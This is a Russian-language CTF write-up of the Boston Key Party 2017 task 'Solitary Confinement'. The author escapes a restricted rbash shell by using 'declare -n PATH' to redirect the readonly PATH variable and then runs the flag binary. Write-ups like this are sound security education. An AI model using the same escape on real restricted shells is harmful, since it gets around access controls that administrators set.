Совсем недавно проходил очередной интересный CTF Boston Key Party 2017. Который мы к сожалению не выиграли, но это другая история. А сегодня я бы хотел описать решение одного задания из раздела pwn это «Solitary Confinement (pwn 99)».
Осуществив подключение по SSH мы сразу попадаем в rbash.
Осмотревшись, становится понятно, что доступных для исполнения файлов, через которые можно было бы выйти в нормальный шел, у нас нет:
rbash-4.3$ [tab]
! ]] builtin compgen declare echo eval fc getopts in logout pwd readonly shopt time typeset until
alias caller complete dirs elif exec fg hash jobs mapfile return source times ulimit wait
: bg case compopt disown else exit fi help kill popd rbash select suspend trap umask while
[ bind cd continue do enable export for history let printf read set test true unalias {
[[ break command coproc done esac false function if local pushd readarray shift then type unset }
Далее осмотревшись в системе:
-rbash-4.3$ pwd
/
Понимаем что мы находимся в корневой директории! Первая мысль — Это здорово! Однако смотрим дальше:
-rbash-4.3$ echo ./*
bin dev flag lib lib64
-rbash-4.3$ echo ./bin/*
rbash
-rbash-4.3$ echo ./flag/*
showFlag
Ну по крайней мере знаем где лежит флаг. Но и тут не всё так просто, просмотрев атрибуты файла:
-rbash-4.3$ if [[ -r flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -x flag/showFlag ]]; then echo ok; fi
ok
-rbash-4.3$ if [[ -G flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -O flag/showFlag ]]; then echo ok; fi
Понимаем, что это бинарник, так ещё и не принадлежит нам. Так как использовать / для исполнения команд запрещено, так же как и изменять использовать cd. То нужно было придумать как изменить переменную PATH.
rbash-4.3$ unset -v PATH
rbash: unset: PATH: cannot unset: readonly variable
Изменять переменные окружения можно следующим образом:
- set PATH=deadbeef
- typeset PATH=deadbeef
- export PATH=deadbeef
- PATH=deadbeef
- declare PATH=deadbeef
После внимательного изучения документации к каждой команде, можно наткнуться на вот такой интересный фрагмент:
declare: declare [-aAfFgilnrtux] [-p] [name[=value] ...]
Set variable values and attributes.
…
-n make NAME a reference to the variable named by its value
Хм, раз нельзя изменить переменную напрямую, попробуем создать ссылку:
rbash-4.3$ declare -n PATH
rbash-4.3$ export PATH=/flag
Ошибок не возникло. Проверим внесенные изменения:
rbash-4.3$ echo $PATH
/flag
rbash-4.3$ showFlag
BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}
Флаг у нас. Задание пройдено. При наличии к примеру bash'а, можно было бы его запустить таким же образом.
Автор: homoyi